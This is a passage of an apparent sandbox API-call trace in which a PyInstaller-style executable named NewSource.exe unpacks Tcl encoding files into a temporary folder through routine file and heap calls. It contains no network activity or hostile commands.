lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp874.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp874.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.127] GetFileType (hFile=0x10c) returned 0x1 [0036.127] htonl (hostlong=0x42040000) returned 0x442 [0036.127] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.127] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.128] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.128] CloseHandle (hObject=0x10c) returned 1 [0036.129] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550810 | out: hHeap=0x530000) returned 1 [0036.129] htonl (hostlong=0x30000000) returned 0x30 [0036.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.129] GetFileType (hFile=0x10c) returned 0x1 [0036.129] htonl (hostlong=0x387e5100) returned 0x517e38 [0036.129] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x562e38, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.129] htonl (hostlong=0x8d470000) returned 0x478d [0036.129] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x478d) returned 0x560088 [0036.129] htonl (hostlong=0x8d470000) returned 0x478d [0036.129] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x4000, lpOverlapped=0x0) returned 1 [0036.130] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.130] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.130] htonl (hostlong=0x4fbc0000) returned 0xbc4f [0036.130] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbc4f) returned 0x564820 [0036.130] htonl (hostlong=0x8d470000) returned 0x478d [0036.130] htonl (hostlong=0x4fbc0000) returned 0xbc4f [0036.130] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x570478 [0036.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x570478 | out: hHeap=0x530000) returned 1 [0036.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.132] CloseHandle (hObject=0x10c) returned 1 [0036.132] GetLastError () returned 0x0 [0036.132] SetLastError (dwErrCode=0x0) [0036.132] GetLastError () returned 0x0 [0036.132] SetLastError (dwErrCode=0x0) [0036.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.132] GetFileType (hFile=0x10c) returned 0x1 [0036.132] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.132] CloseHandle (hObject=0x10c) returned 1 [0036.132] GetLastError () returned 0x0 [0036.132] SetLastError (dwErrCode=0x0) [0036.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.133] GetFileType (hFile=0x10c) returned 0x1 [0036.133] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.133] CloseHandle (hObject=0x10c) returned 1 [0036.133] GetLastError () returned 0x0 [0036.133] SetLastError (dwErrCode=0x0) [0036.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp932.enc") returned 68 [0036.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp932.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp932.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.133] GetLastError () returned 0x2 [0036.133] SetLastError (dwErrCode=0x2) [0036.133] GetLastError () returned 0x2 [0036.133] SetLastError (dwErrCode=0x2) [0036.133] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp932.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp932.enc", lpFilePart=0x0) returned 0x43 [0036.133] GetLastError () returned 0x2 [0036.133] SetLastError (dwErrCode=0x2) [0036.133] GetLastError () returned 0x2 [0036.133] SetLastError (dwErrCode=0x2) [0036.133] GetLastError () returned 0x2 [0036.133] SetLastError (dwErrCode=0x2) [0036.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp932.enc") returned 68 [0036.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.134] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp932.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp932.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.134] GetFileType (hFile=0x10c) returned 0x1 [0036.134] htonl (hostlong=0x4fbc0000) returned 0xbc4f [0036.134] WriteFile (in: hFile=0x10c, lpBuffer=0x564820*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564820*, lpNumberOfBytesWritten=0x4fcd00*=0xb000, lpOverlapped=0x0) returned 1 [0036.135] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.135] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xc4f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xc4f, lpOverlapped=0x0) returned 1 [0036.135] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.135] CloseHandle (hObject=0x10c) returned 1 [0036.137] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564820 | out: hHeap=0x530000) returned 1 [0036.139] htonl (hostlong=0x30000000) returned 0x30 [0036.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.139] GetFileType (hFile=0x10c) returned 0x1 [0036.139] htonl (hostlong=0xc5c55100) returned 0x51c5c5 [0036.139] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5675c5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.139] htonl (hostlong=0xb6c70000) returned 0xc7b6 [0036.139] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc7b6) returned 0x560088 [0036.140] htonl (hostlong=0xb6c70000) returned 0xc7b6 [0036.140] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0xc000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0xc000, lpOverlapped=0x0) returned 1 [0036.140] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.140] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.141] htonl (hostlong=0x9d050200) returned 0x2059d [0036.141] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2059d) returned 0x56c848 [0036.141] htonl (hostlong=0xb6c70000) returned 0xc7b6 [0036.141] htonl (hostlong=0x9d050200) returned 0x2059d [0036.141] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x58cdf0 [0036.143] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58cdf0 | out: hHeap=0x530000) returned 1 [0036.143] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.144] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.144] CloseHandle (hObject=0x10c) returned 1 [0036.144] GetLastError () returned 0x0 [0036.144] SetLastError (dwErrCode=0x0) [0036.144] GetLastError () returned 0x0 [0036.144] SetLastError (dwErrCode=0x0) [0036.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.144] GetFileType (hFile=0x10c) returned 0x1 [0036.144] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.144] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.144] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.144] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.145] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.145] CloseHandle (hObject=0x10c) returned 1 [0036.145] GetLastError () returned 0x0 [0036.145] SetLastError (dwErrCode=0x0) [0036.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.145] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.145] GetFileType (hFile=0x10c) returned 0x1 [0036.145] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.145] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.145] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.145] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.145] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.145] CloseHandle (hObject=0x10c) returned 1 [0036.145] GetLastError () returned 0x0 [0036.145] SetLastError (dwErrCode=0x0) [0036.145] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp936.enc") returned 68 [0036.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp936.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp936.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.146] GetLastError () returned 0x2 [0036.146] SetLastError (dwErrCode=0x2) [0036.146] GetLastError () returned 0x2 [0036.146] SetLastError (dwErrCode=0x2) [0036.146] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp936.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp936.enc", lpFilePart=0x0) returned 0x43 [0036.146] GetLastError () returned 0x2 [0036.146] SetLastError (dwErrCode=0x2) [0036.146] GetLastError () returned 0x2 [0036.146] SetLastError (dwErrCode=0x2) [0036.146] GetLastError () returned 0x2 [0036.146] SetLastError (dwErrCode=0x2) [0036.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp936.enc") returned 68 [0036.146] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp936.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp936.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.147] GetFileType (hFile=0x10c) returned 0x1 [0036.147] htonl (hostlong=0x9d050200) returned 0x2059d [0036.147] WriteFile (in: hFile=0x10c, lpBuffer=0x56c848*, nNumberOfBytesToWrite=0x20000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x56c848*, lpNumberOfBytesWritten=0x4fcd00*=0x20000, lpOverlapped=0x0) returned 1 [0036.150] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.150] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x59d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x59d, lpOverlapped=0x0) returned 1 [0036.150] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.150] CloseHandle (hObject=0x10c) returned 1 [0036.153] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56c848 | out: hHeap=0x530000) returned 1 [0036.153] htonl (hostlong=0x30000000) returned 0x30 [0036.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.153] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.153] GetFileType (hFile=0x10c) returned 0x1 [0036.153] htonl (hostlong=0x7b8d5200) returned 0x528d7b [0036.153] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x573d7b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.153] htonl (hostlong=0x889e0000) returned 0x9e88 [0036.153] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e88) returned 0x560088 [0036.153] htonl (hostlong=0x889e0000) returned 0x9e88 [0036.154] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x9000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x9000, lpOverlapped=0x0) returned 1 [0036.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.154] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.154] htonl (hostlong=0x77fd0100) returned 0x1fd77 [0036.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fd77) returned 0x569f18 [0036.154] htonl (hostlong=0x889e0000) returned 0x9e88 [0036.154] htonl (hostlong=0x77fd0100) returned 0x1fd77 [0036.154] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x589c98 [0036.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x589c98 | out: hHeap=0x530000) returned 1 [0036.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.155] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.155] CloseHandle (hObject=0x10c) returned 1 [0036.155] GetLastError () returned 0x0 [0036.155] SetLastError (dwErrCode=0x0) [0036.155] GetLastError () returned 0x0 [0036.155] SetLastError (dwErrCode=0x0) [0036.156] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.156] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.156] GetFileType (hFile=0x10c) returned 0x1 [0036.156] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.156] GetFileInformationByHandleEx (in: 